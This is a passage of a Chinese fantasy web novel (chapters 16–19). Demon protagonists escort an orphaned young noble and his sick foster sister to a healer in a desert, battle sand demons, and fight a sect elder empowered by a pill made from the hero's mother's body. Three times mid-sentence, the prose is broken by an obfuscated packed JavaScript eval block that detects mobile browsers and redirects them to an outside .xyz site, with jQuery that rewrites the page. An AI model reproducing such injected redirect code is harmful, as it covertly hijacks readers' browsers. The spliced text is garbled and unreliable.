谢松意收到林鹤眠的传音后就带着泛月找人去了,二人将瘴山跑了个遍,但没有任何结果。 最后在通往仙草镇的路上遇到了一位少年,恰巧少年正在寻找自己的妹妹,谢松意便上前问道:“您可是在找人?” 少年起初并不知道谢松意和泛月的身份,以为他们是普通人,笑着回了一句:“我妹妹丢了,正在找,二位可有见过她?” 泛月说见过,少年便跟着他们过来了。 不料路上被一只妖阻拦,泛月用妖力杀了对方,少年因此识破他们的身份,当场翻脸。 二人大打出手,少年见不敌他们,边打边退,一路打到泛月的客栈,刚到客栈就看到满身妖气的老板,才有了林鹤眠看到的那一幕。 “原来如此。”林鹤眠恍然大悟的点头,“那刚才的轰鸣声是……” “这个啊。”泛月看了一眼天空,“我杀那只妖的时候图快,直接召来天雷给他劈死了。” 泛月又看向少年:“我不管你对妖有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014056|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么偏见,但是这里是我的地盘,谁来了都得守我的规矩!” “那我走就是了。”少年显然是不想和泛月她们呆在一起,“我妹妹在哪里,我带她离开。” 老板蹙眉:“这荒郊野岭的又是晚上,那颗妖丹提供的妖力本就不多,刚才和我们打架又消耗了不少。这山里的妖兽都饿着肚子呢,这个点也该出来觅食了,你准备带你妹妹去给他们做慈善?” “你们不用管,反正我不会让她和一群妖在一起。” 少年扫林鹤眠一眼,又补了一句:“还有一个和妖物勾结的修士。” 林鹤眠哪能忍别人说他和妖物勾结,直接就怼回去了:“和妖在一起就是和妖物勾结了?你体内有妖丹我还说你是妖呢。” “我也有恨到入骨想碎尸万段的妖,但这不代表所有妖都该被我这么对待。人有善恶之分,妖自然也是如此,别把你的偏见扩大到所有妖身上。” “妖就是妖,我不管什么善恶,我讨厌妖,更讨厌维护妖的人!” 少年转身,想进屋找她妹妹的,却在转身的瞬间看到一个熟悉的身影。 “哥哥!”小女孩在月光下冲他甜甜的笑。 “念念,”少年走上前,把小姑娘抱起来,“你怎么跑到这里了,为什么不在寺庙里等我回来?” “对不起嘛,你太阳落山了都没回来,我担心你才跑出去的。” “你可有受伤?” “我好着呢。”念念指着老板,又指向林鹤眠,“我遇到一只妖,是这两位大哥哥救了我。” 少年盯着老板看了片刻,又扫了林鹤眠一眼,嘴唇蠕动半天,最终还是说了一句“谢谢”,然后抱着念念离开。 “我们要走吗?”念念不解,她趴在少年肩上看着老板。 “他们是妖。” “可他们对我很好。”念念有些不舍。 少年轻抚着念念的脑袋:“不是谁对你好谁就是好人,表里不一的妖不少,人也一样。我们现在就去找那位名医,等他把你治好我们就回家。” “等等。”谢松意突然喊住少年。 少年虽然有些不耐烦,但还是回过头来,问了一句:“什么事?” 谢松意扫了念念一眼,他一眼就看出念念的奇怪之处。 念念是先天不足之症,如今已病入骨髓,任凡人医者再医术高超,也救不了。 他可以,但少年不会相信他。 “你说这山中有名医?”谢松意问。 “当然有。你不知道?” 谢松意摇头,泛月疑惑地看了少年一眼,说:“我在这山里待了这么多年,从没听过这山里有什么名医。” “准确来说是一位游医,一手医术能活死人肉白骨。他是从古战场那一带过来的,他刚到漠林边缘地带,离瘴山还有一段距离,你们当然不知道。” “你为何会如此了解他的行踪?”林鹤眠心中多了几分警惕。 “我当然是有我的办法,这你就不用管了。” “我想同你一起去见那位名医。”谢松意说。 少年本想拒绝,但转念一想这群妖他没一个打得过的,就算他不让他们跟过去,但是只要他们想,完全可以在自己不知情的情况下跟过来。 他同意与否都只是一个态度而不是命令,无论态度如何,都不影响他们。 “你们想来便跟过来吧。”少年朝身后绕了一圈,补了一句,“你们最好别打什么坏主意,反正我不怕死,若是做了什么出格的事,别怪我自爆妖丹拉你们同归于尽。” 泛月“切”了一声,跟在谢松意身后,心说你也就是不知道我们的身份才说出这种话了,有能耐你真爆个试试,看看我们会不会死。 林鹤眠见人都走了,也快步跟上。 几人从泛月的客栈到漠林边缘地带走了两个时辰,期间少年一直抱着熟睡的念念,看不出任何疲劳的模样。 念念中间有好几次醒了过来,怕少年太累便要走路,但毕竟是小孩子,没走多久又累了,又被抱在怀里睡去。 少年似乎很着急,他这一路都未曾停下脚步。 17. 第十七章 漠林,顾名思义就是一片沙漠。 但这又不是普通的沙漠,漠林里面的树随处可见,只不过都是死的,但却死而不僵,风吹雨打而不倒,不是胡杨却胜似胡杨,故而漠林又被称为“树坟”。 到了漠林边缘,只见一座草屋突兀的站在荒凉的大漠中。 草屋后是成片的树,全都秃了,锋利细长的枝干或扭曲或笔直,像无数张牙舞爪的鬼手伸向夜空。 屋内亮着灯,昏黄的灯光从支开的窗户跑出来,映的一地黄沙明亮刺眼。 少年敲响木门,屋内传来一阵脚步声,紧接着木门便吱呀一声被打开,一位慈眉善目的老人站在屋内,身上还能闻到淡淡的草药香。 老人起初只是漫不经心的问了一句“谁啊”,但看到面前的人后,他一时惊讶的说不出话来。 谢松意他们也很惊讶。 老人的嘴唇张张合合了半晌,竟不知道说什么,最终还是少年先开口打破了这份寂静:“老人家,听闻您医术高超,不知可否帮我看一下我妹妹的病?” 老人这才注意到少年怀里抱着一个小女孩,他眯起眼睛,用妖力悄无声息的将小女孩的全身经脉都观察了一遍,不多时便看出她的症结所在,便道:“进来吧。我这里刚好还有几间空屋子,天色太晚了,你们先休息,我来制药便好。” “我就不用了,您把屋子留给他们吧。”少年果断拒绝。 老人笑起来:“你的身体也没多好,不好好休息怎么行,就别和我客气了,我顺便也帮你做些药。” “不行,我要看着念念。” “你这孩子,”老人有些生气,“你是大夫我是大夫,不遵医嘱你来我这里看什么病,诚心气我是不是?” “我不是这个意思。”少年见老人生气有些慌乱,只得改口,“我听您的就是了。” 老人“哼”了一声,说:“这还差不多。” 老人很快就安排好了房间给众人。 少年和念念一个屋子,漠林晚上并不安全,老板和泛月负责守夜,所以不需要睡觉,林鹤眠和谢松意各一间屋子。 他这草屋从外面看很小,进去了才发现里面的空间大的离谱,就算不让老板和泛月守夜屋子也绰绰有余。 谢松意房间的房间是最后一个被安排好的。 “桐伯,我来吧。” 本想帮谢松意拿出被褥的桐伯再也忍不住了,他颤抖着双手,连声音也是抖的:“你真的还活着?” 桐伯一步又一步地走向谢松意,他和谢松意只隔了没几步的距离,但却走的很慢,每迈出一步仿佛都带着千钧的重量。 他不敢相信谢松意还活着,还有老板和泛月。 短短几步,他仿佛跨越了生死,从一场心如死灰中创造出的空梦走到现实,然后惊讶的发现现实和梦境一模一样。 “桐伯,真的是我,我还活着。”谢松意笑起来。 桐伯干涸已久的双眼瞬间湿润,他粗糙枯瘦的手在触碰到谢松意那张脸时,连心都是颤抖的。 “像,真像。”桐伯盯着谢松意的眼睛,透过他看到了自己曾经最宠爱的小徒弟,“和白薇真像,尤其是这双眼睛,简直是一个模子里刻出来的。” “我收了那么多徒弟,偏偏她天赋极好又肯吃苦,她一生行医救人无数,那群畜生,为何要这么对她!” “我以为她嫁给你父亲可以一生无忧,不料最后却落得那样的下场!” 桐伯失声痛哭,但斯人已逝,总在谢松意面前提起白薇,难免也会让他伤心,桐伯没说几句,又开始安慰自己。 “还好你还活着。当年那场大战,我以为你们都不在了,我被误困在你母亲保护古兽境的大阵中沉睡了三百年,直到十六年前阵门自己破了,这才有机会出去。” “可已经过去了三百年,我什么都不知道,而且身体也大不如前,闭关了十五年后才开始边行医边打探消息。” “上天有眼,让我在这里遇到了你们,否则他日黄泉之下你母亲问我你过得怎么样,我该如何向她交代,又有何颜面去见她!” “桐伯!”谢松意忙打断桐伯。 桐伯抹了一把眼泪,笑了几下,说:“当年我去救你母亲时,中了烟帐山特制的毒,那种毒会在五十年内逐渐散尽我的妖力,将我的妖丹腐蚀。我试过喝自己的血,可是没用。即便我们是长生,没了妖丹也是死路一条。” “你母亲的阵与世隔绝,不受时间流逝的影响,所以才让我多活了三百年,可一旦阵破,时间重新流动,毒性便开始发作,无药可医。” “之前我就想着,反正我要死了,不如借着行医打探消息,刚好也可以救一些人,能救多少是多少,好歹要知道你们的下落,否则我死不瞑目。” “想来是上天眷顾,不舍得让我死了也合不上眼,让我在这茫茫大漠中遇到你们。” “母亲生前总说,她行医救人再多也比不过您,我起初不信,但如今信了。” 桐伯又笑起来:“你母亲是我最宠爱的徒弟,她出师前就常和她的师兄师姐说我的事,没想到出师后也这样。” 谢松意点头:“母亲救了很多人,我们在人间过得很好,她没有辜负您对她的期望。” “她好好活着便是我对她的期望。当年你母亲的父母同君亭的父母一起参战,你祖父受君亭父母所托用自己的命将君亭救下,你母亲的父母与我师出同门,临终前将当时尚在襁褓中的她托付给了我。” “我教她医术只是想要她有立身之本,她好好活下去才是我真正的期望。” 一阵诡异的风突然吹开窗户,黄沙从外面灌进来,谢松意施法关了窗。他和桐伯意识到事情不对劲,匆忙跑出去。 外面火光连天,熊熊烈火烧的沙子噼里啪啦响。大火形成一道火墙,老板站在火墙下,一双带着杀意的红眸触目惊心。 九尾天狐的虚影在他身后若隐若现,每条尾巴的尾尖都燃着一簇火苗,一簇将燃未燃的红色火苗像花一样点在九尾虚影的眉心,仿佛那道虚影一睁眼,那朵花便能瞬间燃起来,烧毁周围的一切。” 黄沙漫天,却依旧遮不住鲜亮的火光。 谢松意一眼便看出这只是一个分身,提剑出来的林鹤眠第一次感受到来自大妖的威压。 不怒自威,一个分身便能让人望而却步。 这么强大的妖,却匿于凡尘,做了一个客栈的老板。 “泛月那孩子哪去了?”桐伯环顾四周,发现找不到泛月,不由得担心起来。 谢松意召出玉琳琅,对着远处某个点随手一挥,强大的妖力形成一道锋利的半月形弯刃砸向地面,平静的黄沙瞬间炸起几米高的沙浪。 一道黑影自浪中飞出,落在沙子里,没了踪影。 林鹤眠大惊:“这里怎么这么多沙妖,这种妖物早在三百年前就……” 不等林鹤眠把话说完,一个突起的小沙丘中就飞出一线黄沙冲向桐伯,桐伯虽已年迈,但功夫还是有的。 他一挥手,妖力自掌心倾泻而出,那一线黄沙被打散,落在地上再也没了动静。 老板分身后面的九尾虚影突然睁开眸子,原本还只是垂下来的八条尾巴尽数张开,眉心的火苗绽开,狭长的狐眼中燃着鲜红的火焰,连天上那轮弦月都被火光染红。 一道火墙将所有人都包裹起来,紧接着,灼热的气息扑面而来,圈内竟然不约而同的响起一片哀嚎。 地面鼓起一个又一个小包,一处落下一处升起,此起彼伏,持续了没几秒便全偃旗息鼓没了声响。 “本来还想留你们一命,但现在没必要了。”老板不知何时回来了,他收了分身,九尾虚影和燃烧的火墙一并消失不见。 “你也是妖?” 一句话冷不丁的扔在人群里,惹得众人纷纷回头。只见少年站在门前,正难以置信地盯着桐伯。 桐伯无奈,他本想解释,不料还未开口,少年便转身去了里间,众人跟过去,发现少年抱着念念要离开。 林鹤眠一把抓住他的胳膊:“你疯了,现在外面不知道还有多少沙妖,你带她离开是自寻死路!” 少年甩开林鹤眠的胳膊,冷声道:“你是觉得我会让一只妖给念念看病,还是觉得我会和一群妖待在一起?” 桐伯上前一步,试图拦住少年:“你妹妹的病是从娘胎里带出来的,你想带她再去寻医?这病拖的越久就越难根治,若真是为了她好,你就应该留下来。” “桐伯,你让他走。”一股寒意席卷而来,泛月把手里的剑扔在地上,拽走桐伯,“想走就走,你要是不怕被六青峰掌门追杀,你随便跑。拿了他们的东西还想好好活着,你当那些门派的掌门是吃素的?” 六青峰? 林鹤眠将目光投向地上的剑,发现这剑剑柄雕有三座高低不同的山峰,且柄色为青色,剑穗是绿色,剑刃底端还刻有三座小山峰。 确实是六青峰弟子佩剑。 “那是我的事,我是死是活和你们有什么关系?” “的确和我们没关系,但既然是你的事……”泛月朝念念努了努嘴,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014057|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你找死干嘛要带上她?” “你最好想清楚,你死了,他们也不会放过念念。” 少年不再说话,因为泛月说的确实有道理。 如今那些个名门大派,自诩降妖卫道冰清玉洁,颇有护佑天下苍生的意思,但背地里藏污纳垢为了一己之私视他人性命如草芥的事也没少干。 论狠心,谁比得过他们,真比起来,连害他家破人亡的那只妖和孙阔都显得仁慈了。 而且,念念确实是无辜的。 少年看向怀里熟睡的念念,最终还是将她放回榻上,为她掖好被子。 泛月等他做完这一切,直奔主题:“说说看,你为什么会有沙妖的妖丹?” “那只沙妖害死了我全家,我拿他一颗妖丹做赔偿而已。”少年的语气很冷,像是在讲述一件与他无关的事,“三年前的刑部尚书满川一案你们可还记得?” 三年前刑部尚书满川一案轰动全国,妇孺皆知刑部尚书满川为官清廉,但陛下却在尚书府查出了贪污的白银数百万两。 陛下大怒,当即下令尚书府满门抄斩,奴仆小厮一律流放。尚书长子满纪于出逃路上被追兵射杀,次子满则连同家人一起斩首示众。 “当年刑部侍郎孙阔为了升官和沙妖勾结,他为了一个尚书的位置,和那只妖害死我全家老小。” 满纪越说越激动,恨不得将孙阔碎尸万段:“阿则当年才七岁!母亲肚子里还有一个尚未出世的孩子,那么多条命,就为了给他孙阔升官发财铺路!” “还有尚书府那些下人,老弱妇孺皆有,流放极北之地,那里苦寒无比又鲜有人烟,他们哪里活得下去!” 满纪几近哽咽,他攥紧拳头,强迫自己冷静下来。指甲陷在掌心,印出一道道浅白色的弯月痕,痛感在提醒他要克制。 “所以,念念并不是你的亲妹妹?” 满纪看了一眼熟睡的念念,叹气道:“当年管家自毁容貌,穿着我的衣服引开追兵,我才有机会活下来,逃出后就一直住在山中。” “事发不到半个月,我偶然遇到沙妖和一个修士打斗,修士除掉沙妖便匆匆离开。沙妖虽然化作沙子,但短时间内妖丹还在,我瞥见他遗体上有一封信,本想拿起,却误打误撞吞下妖丹。” “拿到信后,我发现那是沙妖和孙阔的联络信。宫中有一些修士做护卫,想来是这妖不敢直接进宫,只能通过写信和孙阔联络。” “后来,我发现沙妖的妖丹可以让我知晓漠林所有动静。某天打猎归来,我发现念念被抛弃在漠林,就收养了她。” “再后来我发现念念得了一种很奇怪的病,城中王公贵族众多,他们知道我的模样,我不能带念念进城,只能四处寻找游医。” “毕竟漠林是通往京都的要地之一,我每天都会通过妖丹观察经过漠林的人,得知桐伯要来后,便带念念来找他,只是没想到……” 只是没想到桐伯是妖。 满纪没把话说全,但大家都明白他的意思。 “满公子,”桐伯声音有些沙哑,“我行医向来讲究不论人妖问心无愧,你如今选择留下来,是因为外面有沙妖,而非信我的医术和品性。” 桐伯咳了几下,说:“你若信我,放心把念念交给我医治,我保证她一定会痊愈。” “桐伯!”谢松意抓住桐伯的胳膊,眼中是关切和抗拒。 他摇头,示意桐伯不要这么做。 现在的桐伯已如风中残烛,即便离妖丹彻底溶解还有些年月,但他这么消耗自己的身体,哪天不等妖丹溶解自己就会死掉。 桐伯却只是笑笑,他拍了拍谢松意的手,安慰道:“我一把年纪了,还怕这个?没事的,不用担心。” 满纪上下打量着桐伯,又将目光落到念念身上,最后定格在桐伯那张皱纹遍布的脸上。 “我信你。” 他只能赌一把。 念念的病确实拖不得,否则他不会这么着急的在找到念念后就带念念找桐伯。 他知道妖并非全是坏事做尽为非作歹之徒,可就是打心底讨厌妖,总会把尚书府上下数十条人命和妖联系起来。 但是,他想,他应该改观了。 他应该尝试去接触不同的妖,打破固有印象,既然想这么做,而面前又有这么好的机会,那么为什么不从现在开始呢? 相信桐伯,既是为了念念痊愈,也是他做出改变的第一步。 桐伯这位游医活死人肉白骨的称号绝对不是空穴来风,他相信这背后肯定是有一定的能力支持的。 18. 第十八章 “这次倒是不固执了。”泛月瞥满纪一眼,依旧对他的偏见耿耿于怀,但也没再多说。 “好了。”始终沉默不言的老板终于开口,“当务之急是救念念和解决那些沙妖,你方才追人,除了这剑,可还有其他发现?” “这倒是没有。” “刚才到底发生什么事了?”谢松意问。 老板想外面扫了一眼,确认没什么异动后才开口:“我和泛月守夜时发现这里有沙妖,但不确定是真是假。刚想去看便有人引动阵法召来狂风,地下的沙妖也开始不约而同向一个方向聚集。” “泛月去追那人,我追沙妖。临行前留了个分身和本体虚影在这里以防万一,但那些沙妖很快就没了踪影,只留有个别修为不高的在这里。我本想放他们一马,没想到桐伯差点因此受伤,干脆全杀了。” 门外又是一阵狂风,紧接着传来一个带着些许不满的声音:“师父师兄,就是她。” 泛月轻蔑一笑,走了出去:“你这是打不过我,找人出气来了?” 老板心说来者不善,在掌心攥了一股妖气,其他人也跟了出去。满纪是最后一个出来的,他掩上门,刚转身就和那个被称作师父的人对上目光。 那人黑发乌须,长髯随风飘飞,颇有仙人风骨。 林鹤眠认这人,他是六青峰副掌门陈如絮。 陈如絮见了满纪,一眼就看出他体内有妖丹,便笑道:“不属于你的,你就别要了。” 说着,抬手就要收走满纪体内的妖丹,老板一挥手,清澈纯粹的灵力和黑色的妖力碰撞在一起,二者相互抵消,化作星点散在空中。 老板蹙眉。 他总觉得陈如絮不对劲,但又看不出哪里不对劲。 桐伯的嘴唇绷成了一条直线,眼中是愤怒和悲痛。他就死死盯着陈如絮,仿佛要看穿他,把他看得千疮百孔血流不止才甘心。 陈如絮全然不在意桐伯的目光,他莫名对老板来了兴趣。 “你倒是个有实力的,若能和沙妖一样为我六青峰出力,我们绝不亏待你。” “做梦。” 老板一跃而起,眨眼的功夫就来到了陈如絮面前,他必须得搞清楚陈如絮哪里不对劲。 陈如絮撤出几米远,召出佩剑挡下老板的攻击,一旁的两个小徒弟要上前帮忙,却被一把白玉剑拦住去路。 “我也来!” 林鹤眠冲向那位个子较高的徒弟,成功让谢松意从一挑二变成了一对一。 泛月的目光来回移动,仔细盯着陈如絮和他两个徒弟。 陈如絮虽然打不过老板,但也不怕和老板继续消耗。 不知打了多久,陈如絮没躲开老板的攻击,被剑刃划到了胳膊。 他的衣服被撕裂,胳膊上也裂开一道口子,可殷红的鲜血还未冒出,伤口便迅速愈合。 老板微怔,陈如絮得意的看着他愈合的伤口,狞笑起来。 与此同时,小徒弟被谢松意一招挑飞手中佩剑,从空中落下来,坐在沙地上,剑刃直抵眉心。 大师兄见自己师弟不敌谢松意,和林鹤眠拉开距离,对着谢松意背后刺过去。 谢松意知道背后有杀意,刚想出手,却听到一声金石碰撞的脆响。 剑刃相互碰撞,没能让大师兄如愿刺中谢松意。 “碍事!” 大师兄急着救自己师弟,想迅速摆脱林鹤眠的纠缠,招招朝要害打去,陈如絮见自己徒弟败下阵来,提剑冲向谢松意,老板紧随其后。 谢松意眼疾手快,挡下陈如絮一击,陈如絮一个转身,躲开老板的攻击。小师弟趁机捡起佩剑,再次和谢松意缠斗。 “你们须臾山好歹是一大名门,居然和妖物勾结,真是可耻!” 林鹤眠躲开大师兄的攻击,回怼道:“个人行为干嘛上升宗门,你们六青峰还豢养妖物呢。” “我们那是物尽其用,你懂什么!” “你们的物尽其用,就是指谋害忠臣?沙妖没你们的命令根本不会去和如今的刑部尚书勾结,少装冰清玉洁了!” “我们肮脏,你们须臾山就干净么!别天真了,三百年前剿灭长生那一战,没一个宗门是干净的,此后也别想摆脱污秽!” 大师兄用力挡下林鹤眠一击,泛月在一旁看的干着急,她想上前帮忙,但这地下还有不少沙妖,若她走了,万一沙妖冲上来,满纪和桐伯不一定挡得住。 可不去帮忙,她心急如焚。 老板明明伤到了陈如絮,那陈如絮却像没事一样,她离得远,根本没有看到陈如絮的伤口在不断愈合。 只有桐伯清楚,这背后到底是什么原因。 林鹤眠无意杀大师兄,他的目的是拖,拖到谢松意和老板打败陈如絮就行。 谢松意也无意杀这位小师弟,他和林鹤眠一样,都只是为了拖。 奈何这小师弟的功夫在他面前实在拿不出手,他干脆只用剑不用妖力了。 但老板就算再强也挡不住鏖战,何况对方是一个根本伤不到的怪物。 一个不注意,就被陈如絮反打。 老板的佩剑被挑飞,陈如絮趁机引动地下的沙妖,整片漠林都在左右晃动,无数十几米高的沙柱从地面喷射而出,紧接着炸开,形成层层沙浪。 谢松意甩开小师弟,冲陈如絮飞去。陈如絮侧身躲开他的攻击,却还是被谢松意伤到,但伤口又快速愈合。 谢松意的心猛地一颤,握着剑的手不自觉的发抖。 那一瞬,他说不出是什么感觉,酸痛悲怨恨,诸味陈杂,成了引燃他怒火的引线。 无数黑影从沙浪中钻出,泛月手中突然多了一支白色凤翎,凤翎化剑,一剑劈开了汹涌的沙浪。 数道黑影被斩做两半,老板直接召出真身,弦月再度被火光映红。 满纪被风沙迷的睁不开眼,他勉强睁开,透过黄沙看到空中有一点白色。 白点起初静止不动,片刻后,一股强劲凶悍的妖力以白点为中心呈圆形散开。 妖力形成的波浪抚平了漫天黄沙,甚至连灭掉那些沙妖都只是一瞬的功夫。 陈如絮和他两个徒弟以及林鹤眠都被震飞,泛月他们有老板护着倒是没受影响。 这股妖力太过强大,林鹤眠被震得咳出一口血来,两位小徒弟也好不到哪去,纷纷抹掉嘴角的血准备去救自己师父。 离谢松意最近的陈如絮被震得五脏六腑俱碎,他倒在地上,咳出一大口血。 林鹤眠离谢松意并不算远,他第一次看到谢松意妖气缠身,满是杀意的模样。 他看得很清楚,这样的谢松意,和印象中那个谢松意截然不同,他印象中的谢松意像人,但此时此刻,谢松意却更像真正的他——一只妖。 陈如絮毕竟是人,伤口能迅速愈合全靠那种丹药,而那种丹药是用妖练的,人妖有别,根本无法发挥全部效力。 这种换其他人早死了的伤想迅速痊愈是不可能的,虽然最多只要一炷香的时间,但谢松意根本不会给他这个机会。 谢松意从空中落下,他胳膊一抬,强大的妖力飞向陈如絮。 恰巧此刻陈如絮的两个徒弟想扶他起来,陈如絮随便拉了一个人挡在自己身前。 那人一声闷哼,嘴角不断溢出鲜血。 “师兄!” 小徒弟一声大喊,亲眼看到自己的师兄被强大的妖力一击穿心。他木在原地,本想搀扶陈如絮的手僵在半空。 失去生机的身躯轰然倒地,眼中带着难以置信和不甘,他似乎想说很多话,可再也没机会了。 那一刻,一向和蔼的师父在小师弟面前变得无比陌生。 谢松意没杀到该死的人,顿觉烦躁,陈如絮见他提剑冲过来,又将小师弟推向身前,自己化作一道光跑了。 谢松意没追陈如絮,反正面前是陈如絮的徒弟,都是六青峰的人,替他一死又有何妨? 眼看玉琳琅就要刺中小师弟,林鹤眠忍痛起身,直接挡在他面前。 一双瘦长的手抓住玉琳琅的剑刃,只差一分,就能直接刺中那人的心脏,稍一用力,就能捅穿。 鲜血自掌心溢出,渗入沙地,银色的剑刃被染成暗红色。 他对上谢松意那双漂亮的眸子,这双眸子以前满是温和,现在却充满杀意。 林鹤眠像是乞求,鼻尖一酸,连声音都变得沙哑:“谢松意,你别这样好不好?” 谢松意的眸中多了些许清明,他回过神来,发现林鹤眠正双手抓着玉琳琅的剑刃,而他手里的剑,只要再向前一分,就能刺中林鹤眠的心脏。 谢松意忙收了剑。 这一切发生的太快,等那股强劲的妖力散去,老板收回妖力后,只看到远处站着三个人,还有一个倒在地上。 漫漫黄沙里,满纪看到那一点白色颓然转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014058|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,独自走向漠林腹地。 林鹤眠想跟过去,目睹一切的老板却来到他身后,拍了拍他的肩膀,轻声说:“别过去,你有伤在身,先让桐伯看看吧。” 林鹤眠一错不错地盯着谢松意渐行渐远的背影,最终收回目光,同意了老板的话,默然点头。 其实手上的伤口没那么疼,他疼的,是心。 清澈的月光泻下来,漠林一处荒地多了一块无字石碑。那位不知姓名的小师弟离开漠林,不知所踪。 桐伯仔细的为林鹤眠清理伤口,他伤得并不重,主要是手得悉心照料。 “你这孩子,拿剑的手,怎么能随便伤到。”桐伯一边嗔怪一边用湿帕子帮林鹤眠擦掉血迹。 方才他用妖力帮林鹤眠疗伤,现在伤口已经愈合,把血迹擦掉就行。 桐伯说的确实没错,他的手若伤到根骨,拿剑都费劲。 林鹤眠心虚,但他有自己不得不这么做的理由,所以说话依旧理直气壮:“我只是不想让他后悔,当时来不及了,所以就……” “那你也不能用手抓。”桐伯更生气了,“你要是抓的再狠一点,就只能换双手了。” “我下次不这么做了。”林鹤眠甩甩手,发现痛感还真的消失了。 桐伯笑着转身出去,嘟哝了一句“你这孩子”,随后帮林鹤眠掩上门,说:“我去看看念念,时候不早了,你早些睡。” “可他还没回来。” “你说松意?”桐伯向身后扫了两眼,又将目光落到林鹤眠身上,“他自己会回来的,现在最好的办法就是别去打扰他。” 林鹤眠望向窗外,现在已经月上中天,漠林的夜总是安静的,但他的心却久久不能平静。 “松意小时候很任性的,甚至有时遇到难以接受的事,谁劝都不听。起初白薇还坚持劝他,后来次数多了,干脆不劝了。” “没人劝了松意反而会安安静静的一个人找地方待着,等想好了自己就会回来,现在也一样,不过是没以前那么任性了。” “白薇是?”林鹤眠疑惑。 “松意的母亲。”桐伯顿了顿,又补了一句,“也是我的女儿。后来她死了,我途径六青峰听说她的尸体被炼成了丹药。松意应该不知道此事,但看他刚才的反应,想来是知道了。” 桐伯说的很从容,林鹤眠试图在他脸上找出一丝悲伤的情绪,但是没有,桐伯像是在话家常,无喜无悲。 其实他并非这样,只是觉得没必要在林鹤眠面前表现出来罢了。 “对不起,我不该问的。” “没什么,一件往事罢了,早点睡吧。” 桐伯关上门走了,林鹤眠想睡,却总睡不着,他翻来覆去在床上像是受刑一样煎熬。 六青峰因十座主峰中有六座主峰四季常青而得名,该门派以丹药闻名。 经常能听到哪个弟子或是掌门用什么东西练出了某某丹药,药效有多厉害之类的话。当然也不乏某些自愈能力极强的妖被练成丹药的事出现。 须臾山的藏书阁里哪个门派的事都有记载,他看过不少。 传闻三百年前那场大战,六青峰掌门得了一只大妖的尸体,但妖尸一直被藏起来。 直到二十年前,六青峰副掌门陈如絮提出把此妖练成丹药,这具尸体才被炼化。据说服用此药的人可以获得极强的自愈能力,甚至不死不灭。 他起初以为只是一个虚构的故事,但今天见了陈如絮才发现他想错了。 当时他离谢松意不算远,被震飞时那种钻心入骨的痛甚至让他不忍想起。 但他可以确定谢松意还是收手了,不然恐怕自己连活命的机会都没有。 陈如絮离谢松意最近,被震飞却依旧能活动,换做寻常修士早没气了。 所以那一瞬,他知道书中记载并未骗人,只是没想到那只妖是谢松意的母亲。 他替那位小师弟挡剑,是因为他不该死。谢松意即便要杀,该死的也只是陈如絮。 当时的谢松意杀红了眼,他没时间去喊谢松意并尝试用这种方式让他清醒,只能先挡下那一剑。 谢松意离开不是因为他替别人挡剑受伤,而是因为他知道自己杀了人,可根本没人会想到陈如絮会把他的徒弟推出去替自己送死,谢松意只是想杀陈如絮。 林鹤眠受不了自己一直在床上翻来覆去的想,反正睡不着,他干脆出去找谢松意。 19. 第十九章 谢松意不知在漠林走了多久,身后是一串一望无际的脚印,不知从哪里开始,脚印又会在哪里止住。 他孤身走了很久,脑海里只有一个念头:陈如絮该死。 可陈如絮没死,反而是陈如絮的徒弟死在他手上。陈如絮逃跑后,他甚至产生了让那个小徒弟替陈如絮偿命的念头。 这样的他好陌生,连自己都不快认不出了。 身后突然传来一阵异响,谢松意召出玉琳琅,毫不犹豫的砍了过去。出剑带风,剑刃直抵林鹤眠眉心。 林鹤眠没有丝毫要还手的意思,他夹起剑刃,学着自己当初剑指谢松意时的样子移开剑刃,笑道:“师兄,你不会是不想承认我这个师弟想在这里灭口吧?” 谢松意没理他,收了剑,自顾自的走着,林鹤眠很自觉的跟了上去。 “怎么找到我的?”谢松意不咸不淡的问了一句。 “满公子有沙妖妖丹啊,你忘了?” “没。” 这个话题就此结束,谢松意没再说话。林鹤眠也不说话,他陪谢松意一起走。 过了不久,谢松意又开口:“你回去,不用陪我。” “你也回去。我可是特意出来找你的,自己回去岂不是白跑一趟?”林鹤眠撇撇嘴,一副不和我一起回去不罢休的架势。 远处飞来一只蝴蝶,蝴蝶停在林鹤眠肩上,里面传来桐伯的声音:“漠林不安全,我们先回泛月的客栈了,找到松意后,让他一起回来吧。” 林鹤眠把蝴蝶放在掌心,递给谢松意,笑道:“你看,他们都想让你回去。” 谢松意没收蝴蝶,他眸子半垂,看不出在想什么,盯着蝴蝶看了片刻,朝着和林鹤眠相反的方向走去。 “走吧,这么晚了你还出来找我,总得休息一下。” 林鹤眠忙跟上:“最该休息的是你。” “我很好,不需要。” “如果你从离开草屋到现在都一直在走的话,那么你已经走了一个时辰。徒步一个时辰都不累,你还是人吗?” “我是妖。” 